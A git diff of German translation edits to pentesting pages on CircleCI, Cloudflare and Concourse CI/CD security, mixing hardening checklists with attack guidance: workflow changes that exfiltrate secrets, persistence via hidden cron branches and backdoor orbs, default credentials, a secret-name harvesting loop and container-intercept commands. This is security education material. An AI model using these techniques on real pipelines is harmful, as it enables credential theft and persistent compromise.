-#### Exfiltrieren von Projektgeheimnissen
+#### Exfiltration von Projektgeheimnissen
> [!WARNING]
> Um **ALLE** Projekt- und Kontext-**GEHEIMNISSE** zu **exfiltrieren**, müssen Sie **nur** **SCHREIBZUGRIFF** auf **nur 1 Repo** in der gesamten GitHub-Organisation haben (_und Ihr Konto muss Zugriff auf die Kontexte haben, aber standardmäßig kann jeder auf jeden Kontext zugreifen_).
@@ -163,7 +163,7 @@ jobs:
- exfil-env:
context: Test-Context
```
-Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und der **die Geheimnisse an eine externe Adresse exfiltriert**:
+Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und **die Geheimnisse an eine externe Adresse exfiltriert**:
```yaml
version: 2.1
@@ -196,7 +196,7 @@ context: Test-Context
#### Escape to Cloud
-**CircleCI** gibt Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\
+**CircleCI** bietet Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\
Standardmäßig befinden sich ihre Maschinen in GCP, und anfangs werden Sie nichts Relevantes finden können. Wenn ein Opfer jedoch die Aufgaben auf **seinen eigenen Maschinen (möglicherweise in einer Cloud-Umgebung)** ausführt, könnten Sie einen **Cloud-Metadaten-Endpunkt mit interessanten Informationen darauf** finden.
Beachten Sie, dass in den vorherigen Beispielen alles innerhalb eines Docker-Containers gestartet wurde, aber Sie können auch **bitten, eine VM-Maschine zu starten** (die möglicherweise unterschiedliche Cloud-Berechtigungen hat):
@@ -221,15 +221,15 @@ version: 19.03.13
```
#### Persistenz
-- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit dem Zugriff des Benutzers zuzugreifen.
+- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit den Benutzerzugriffsrechten zuzugreifen.
- _https://app.circleci.com/settings/user/tokens_
- Es ist möglich, **Projekttoken** zu erstellen, um auf das Projekt mit den dem Token gegebenen Berechtigungen zuzugreifen.
- _https://app.circleci.com/settings/project/github/\/\/api_
- Es ist möglich, **SSH-Schlüssel** zu den Projekten hinzuzufügen.
- _https://app.circleci.com/settings/project/github/\/\/ssh_
-- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Kontext-Umgebungsvariablen** **leakt**.
-- Oder sogar in einem Branch zu erstellen / einen bekannten Job zu modifizieren, der jeden Tag alle Kontext- und **Projektgeheimnisse** **leakt**.
-- Wenn Sie ein GitHub-Besitzer sind, können Sie **unverifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren.
+- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Umgebungsvariablen** **leakt**.
+- Oder sogar in einem Branch einen bekannten Job zu erstellen/modifizieren, der jeden Tag alle **Kontext- und Projektheimlichkeiten** **leakt**.
+- Wenn Sie ein GitHub-Besitzer sind, können Sie **nicht verifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren.
- Sie können eine **Befehlsinjektionsanfälligkeit** in einer bestimmten Aufgabe finden und **Befehle** über ein **Geheimnis** injizieren, indem Sie dessen Wert ändern.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 0ebb73915..155f403e5 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jedes Abschnitts **analysieren:**
+In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
@@ -45,20 +45,20 @@ Auf jeder Cloudflare-Seite:
Überprüfen Sie bei jedem Cloudflare-Worker:
- [ ] Die Trigger: Was löst den Worker aus? Kann ein **Benutzer Daten senden**, die vom Worker **verwendet** werden?
-- [ ] In den **`Einstellungen`** überprüfen Sie auf **`Variablen`**, die **sensible Informationen** enthalten.
+- [ ] In den **`Einstellungen`** überprüfen, ob **`Variablen`** mit **sensiblen Informationen** vorhanden sind.
- [ ] Überprüfen Sie den **Code des Workers** und suchen Sie nach **Schwachstellen** (insbesondere an Stellen, an denen der Benutzer die Eingabe verwalten kann).
- Überprüfen Sie auf SSRFs, die die angegebene Seite zurückgeben, die Sie kontrollieren können.
- Überprüfen Sie XSS, die JS innerhalb eines SVG-Bildes ausführen.
-- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe gewonnen wurden. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie er aus der Benutzereingabe missbraucht werden könnte.
+- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe stammen. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie dies durch die Benutzereingabe missbraucht werden könnte.
> [!WARNING]
-> Beachten Sie, dass ein **Worker standardmäßig eine URL** wie `..workers.dev` erhält. Der Benutzer kann es auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen.
+> Beachten Sie, dass einem **Worker standardmäßig eine URL** wie `..workers.dev` zugewiesen wird. Der Benutzer kann sie auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen.
## R2
Überprüfen Sie bei jedem R2-Bucket:
-- [ ] Konfigurieren Sie die **CORS-Richtlinie**.
+- [ ] **CORS-Richtlinie** konfigurieren.
## Stream
@@ -70,7 +70,7 @@ TODO
## Sicherheitszentrum
-- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie **interessante Informationen** in Bezug auf die **Sicherheit** hervorheben werden.
+- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie interessante Informationen **sicherheitsrelevant** hervorheben.
- [ ] Überprüfen Sie einfach diese Informationen auf Sicherheitsfehlkonfigurationen und interessante Infos.
## Turnstile
@@ -94,26 +94,26 @@ cloudflare-zero-trust-network.md
## Benachrichtigungen
- [ ] Überprüfen Sie die **Benachrichtigungen.** Diese Benachrichtigungen werden für die Sicherheit empfohlen:
-- `Nutzungsbasierte Abrechnung`
-- `HTTP DDoS-Angriffsbenachrichtigung`
-- `Layer 3/4 DDoS-Angriffsbenachrichtigung`
-- `Erweiterte HTTP DDoS-Angriffsbenachrichtigung`
-- `Erweiterte Layer 3/4 DDoS-Angriffsbenachrichtigung`
-- `Flow-basiertes Monitoring: Volumetrischer Angriff`
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
-- `Zugriff mTLS-Zertifikat-Ablaufbenachrichtigung`
-- `SSL für SaaS-Custom-Hostnamen-Benachrichtigung`
-- `Universelles SSL-Alert`
-- `Script Monitor Neue Codeänderungserkennung-Benachrichtigung`
-- `Script Monitor Neue Domain-Benachrichtigung`
-- `Script Monitor Neue bösartige Domain-Benachrichtigung`
-- `Script Monitor Neue bösartige Skript-Benachrichtigung`
-- `Script Monitor Neue bösartige URL-Benachrichtigung`
-- `Script Monitor Neue Skripte-Benachrichtigung`
-- `Script Monitor Neues Skript überschreitet maximale URL-Längenbenachrichtigung`
-- `Erweiterte Sicherheitsereignisbenachrichtigung`
-- `Sicherheitsereignisbenachrichtigung`
-- [ ] Überprüfen Sie alle **Ziele**, da es in den Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass die Webhook-URLs **HTTPS** verwenden.
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] Überprüfen Sie alle **Ziele**, da es in Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass Webhook-URLs **HTTPS** verwenden.
- [ ] Als zusätzliche Überprüfung könnten Sie versuchen, eine **Cloudflare-Benachrichtigung** an eine dritte Partei zu **imitieren**, vielleicht können Sie irgendwie **etwas Gefährliches injizieren**.
## Konto verwalten
@@ -125,7 +125,7 @@ cloudflare-zero-trust-network.md
- [ ] In Members ist es möglich zu überprüfen, welche **Mitglieder** **2FA aktiviert** haben. **Jeder** Benutzer sollte es aktiviert haben.
> [!NOTE]
-> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Berechtigungen erhöhen oder** neue Mitglieder einladen).
+> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Privilegien erhöhen oder** neue Mitglieder einladen).
## DDoS-Untersuchung
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 27f5879f0..2178a8649 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -1,8 +1,8 @@
-# Cloudflare Domains
+# Cloudflare-Domains
{{#include ../../banners/hacktricks-training.md}}
-In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
+In jeder TLD, die in Cloudflare konfiguriert ist, gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
@@ -20,7 +20,7 @@ In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellun
- [ ] Überprüfen Sie **interessante** (sensible?) Daten in den DNS-**Einträgen**
- [ ] Überprüfen Sie auf **Subdomains**, die **sensible Informationen** nur basierend auf dem **Namen** enthalten könnten (wie admin173865324.domin.com)
- [ ] Überprüfen Sie auf Webseiten, die **nicht** **proxied** sind
-- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die **direkt** über CNAME oder IP-Adresse **zugänglich** sind
+- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die direkt über CNAME oder IP-Adresse **zugänglich** sind
- [ ] Überprüfen Sie, dass **DNSSEC** **aktiviert** ist
- [ ] Überprüfen Sie, dass **CNAME Flattening** in **allen CNAMEs** **verwendet** wird
- Dies könnte nützlich sein, um **Subdomain-Übernahmeanfälligkeiten** zu **verbergen** und die Ladezeiten zu verbessern
@@ -38,7 +38,7 @@ TODO
#### **Übersicht**
-- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird irgendwann **Klartextverkehr** senden.
+- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird zu einem bestimmten Zeitpunkt **Klartextverkehr** senden.
- [ ] Der **SSL/TLS-Empfehlungsdienst** sollte aktiviert sein
#### Edge-Zertifikate
@@ -52,7 +52,7 @@ TODO
### **Sicherheit**
-- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall** und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
+- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall**- und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
- Die **`Bypass`**-Aktion wird die **Cloudflare-Sicherheits**-Funktionen für eine Anfrage **deaktivieren**. Sie sollte nicht verwendet werden.
- [ ] Im **`Page Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine Seite verwendet wird
- [ ] Im **`API Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine API in Cloudflare exponiert ist
@@ -65,17 +65,17 @@ TODO
#### **CloudFlare DDoS-Schutz**
-- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert (z. B. von einer JS-Frontend-Seite) schützen, können Sie dies möglicherweise nicht aktivieren, ohne den Zugriff zu beeinträchtigen.
+- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert schützen (zum Beispiel von einer JS-Frontend-Seite). Möglicherweise können Sie dies nicht aktivieren, ohne den Zugriff zu unterbrechen.
- In **WAF**: Sie können **Ratenlimits nach URL-Pfad** oder für **verifizierte Bots** (Ratenbegrenzungsregeln) erstellen oder den **Zugriff** basierend auf IP, Cookie, Referrer... **blockieren**. So könnten Sie Anfragen blockieren, die nicht von einer Webseite stammen oder kein Cookie haben.
- Wenn der Angriff von einem **verifizierten Bot** kommt, fügen Sie mindestens ein **Ratenlimit** für Bots hinzu.
- Wenn der Angriff auf einen **bestimmten Pfad** abzielt, fügen Sie als Präventionsmechanismus ein **Ratenlimit** in diesem Pfad hinzu.
- Sie können auch IP-Adressen, IP-Bereiche, Länder oder ASNs aus den **Tools** in WAF **whitelisten**.
- Überprüfen Sie, ob **verwaltete Regeln** auch helfen könnten, um die Ausnutzung von Schwachstellen zu verhindern.
- Im **Tools**-Bereich können Sie **bestimmte IPs** und **Benutzeragenten blockieren oder eine Herausforderung stellen.**
-- In DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
-- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert ist**.
-- In Cloudflare Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
-- In Cloudflare Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **entdeckte bösartige Ereignisse**
+- Bei DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
+- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert** ist.
+- In Cloudflare-Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
+- In Cloudflare-Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **erfasste bösartige Ereignisse**
### Zugriff
@@ -85,7 +85,7 @@ cloudflare-zero-trust-network.md
### Geschwindigkeit
-_Ich konnte keine Option im Zusammenhang mit Sicherheit finden_
+_Ich konnte keine Option finden, die mit Sicherheit zu tun hat_
### Caching
@@ -120,7 +120,7 @@ TODO
### Scrape Shield
- [ ] Überprüfen Sie, ob die **E-Mail-Adressenobfuskation** **aktiviert** ist
-- [ ] Überprüfen Sie, ob die **Serverseitigen Ausschlüsse** **aktiviert** sind
+- [ ] Überprüfen Sie, ob die **Server-seitigen Ausschlüsse** **aktiviert** sind
### **Zaraz**
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 02d3a5e9b..843c26680 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -32,13 +32,13 @@ Bei jeder Anwendung:
#### **Access Groups**
-- [ ] Überprüfen, dass die generierten Zugriffsgruppen **korrekt auf die Benutzer beschränkt** sind, die sie zulassen sollten.
+- [ ] Überprüfen, dass die generierten Zugriffgruppen **korrekt auf die Benutzer** beschränkt sind, die sie zulassen sollten.
- [ ] Es ist besonders wichtig zu überprüfen, dass die **Standardzugriffsgruppe nicht zu offen** ist (sie **erlaubt nicht zu viele Personen**), da standardmäßig jeder in dieser **Gruppe** auf **Anwendungen** zugreifen kann.
- Beachten Sie, dass es möglich ist, **Zugriff** für **JEDEN** und andere **sehr offene Richtlinien** zu gewähren, die nicht empfohlen werden, es sei denn, es ist 100% notwendig.
#### Service Auth
-- [ ] Überprüfen, dass alle Servicetoken **in 1 Jahr oder weniger ablaufen**
+- [ ] Überprüfen, dass alle Diensttoken **in 1 Jahr oder weniger ablaufen**
#### Tunnels
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index c559d8141..76eeae886 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -22,9 +22,9 @@ Erfahren Sie, wie Sie eine Concourse-Umgebung lokal ausführen können, um Ihre
concourse-lab-creation.md
{{#endref}}
-## Enumerieren & Angreifen von Concourse
+## Concourse auflisten & angreifen
-Erfahren Sie, wie Sie die Concourse-Umgebung enumerieren und missbrauchen können in:
+Erfahren Sie, wie Sie die Concourse-Umgebung auflisten und missbrauchen können in:
{{#ref}}
concourse-enumeration-and-attacks.md
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index c502281c7..5360b904a 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -20,16 +20,16 @@ Die Verantwortung des [Checkers](https://concourse-ci.org/checker.html) besteht
Die TSA ist ein **maßgeschneiderter SSH-Server**, der ausschließlich zur sicheren **Registrierung** von [**Workern**](https://concourse-ci.org/internals.html#architecture-worker) beim [ATC](https://concourse-ci.org/internals.html#component-atc) verwendet wird.
-Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleichsgerät platziert.
+Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleich platziert.
Die **TSA implementiert CLI über die SSH-Verbindung** und unterstützt [**diese Befehle**](https://concourse-ci.org/internals.html#component-tsa).
#### Worker
-Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich selbst** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.
+Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.
-- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** ausgeführt wird.
-- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** ausgeführt wird.
+- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** läuft.
+- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** läuft.
## Referenzen
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 5e815644b..857413c28 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -10,12 +10,12 @@ Concourse kommt mit fünf Rollen:
- _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden.
- **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**.
-- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Teamressourcen**, können jedoch die Teameinstellungen nicht ändern.
+- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Team-Ressourcen**, können jedoch die Teameinstellungen nicht ändern.
- **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren.
- **viewer**: Team-Zuschauer haben **"Nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.
> [!NOTE]
-> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer geändert werden**, indem RBAC konfiguriert wird (genauer gesagt, dessen Aktionen). Lesen Sie mehr darüber unter: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer** durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher können Benutzer, die zu einem Team gehören, diese Pipelines verwalten, und **mehrere Teams** können existieren. Ein Benutzer kann mehreren Teams angehören und unterschiedliche Berechtigungen in jedem von ihnen haben.
@@ -24,7 +24,7 @@ Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher
In den YAML-Konfigurationen können Sie Werte mit der Syntax `((_source-name_:_secret-path_._secret-field_))` konfigurieren.\
[Aus den Dokumenten:](https://concourse-ci.org/vars.html#var-syntax) Der **source-name ist optional**, und wenn er weggelassen wird, wird der [clusterweite Credential Manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) verwendet, oder der Wert kann [statisch](https://concourse-ci.org/vars.html#static-vars) bereitgestellt werden.\
Das **optionale \_secret-field**\_ gibt ein Feld im abgerufenen Geheimnis an, das gelesen werden soll. Wenn es weggelassen wird, kann der Credential Manager wählen, ein 'Standardfeld' aus dem abgerufenen Credential zu lesen, wenn das Feld existiert.\
-Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben werden, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen.
+Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben sein, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen.
#### Statische Vars
@@ -34,12 +34,12 @@ Statische Vars können in **Aufgaben-Schritten** angegeben werden:
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
-Or using the following `fly` **arguments**:
+Oder verwenden Sie die folgenden `fly` **Argumente**:
-- `-v` or `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren.
-- `-l` or `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle.
+- `-v` oder `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
+- `-y` oder `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
+- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), um mehr über Instanzvariablen zu erfahren.
+- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das die Zuordnung von Variablennamen zu Werten enthält, und setzt sie alle.
#### Credential Management
@@ -57,15 +57,15 @@ Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
+> Beachten Sie, dass Sie, wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
### Concourse Enumeration
Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmeldeinformationen sammeln** oder ein **authentifiziertes Token** finden, wahrscheinlich in einer `.flyrc`-Konfigurationsdatei.
-#### Login und aktueller Benutzer enum
+#### Login und aktuelle Benutzer-Enumeration
-- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört** kennen:
+- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört**, kennen:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Konfigurierte **Ziele** abrufen:
- `fly targets`
@@ -75,7 +75,7 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde
- `fly -t userinfo`
> [!NOTE]
-> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine ausrauben, könnten Sie dort die Anmeldeinformationen finden.
+> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie Maschinen durchsuchen, könnten Sie dort die Anmeldeinformationen finden.
#### Teams & Benutzer
@@ -90,11 +90,11 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde
- **Liste** der Pipelines:
- `fly -t pipelines -a`
-- **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden):
+- **Pipeline-YAML abrufen** (**sensible Informationen** könnten in der Definition gefunden werden):
- `fly -t get-pipeline -p `
- Alle **konfigurierten Variablen** der Pipeline abrufen
- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Alle **Namen der verwendeten Geheimnisse in den Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren):
+- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container hijacken können, könnten Sie sie exfiltrieren):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -118,18 +118,18 @@ rm /tmp/secrets.txt
### Concourse Angriffe
-#### Brute-Force von Anmeldeinformationen
+#### Credentials Brute-Force
- admin:admin
- test:test
-#### Aufzählung von Geheimnissen und Parametern
+#### Aufzählung von Secrets und Parametern
-Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**.
+Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Secrets wird später nützlich sein, um zu versuchen, sie zu stehlen**.
#### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers
-Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `/` **Containers** mit folgendem Befehl erhalten:
+Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `/` **Containers** mit folgendem Befehl erhalten:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
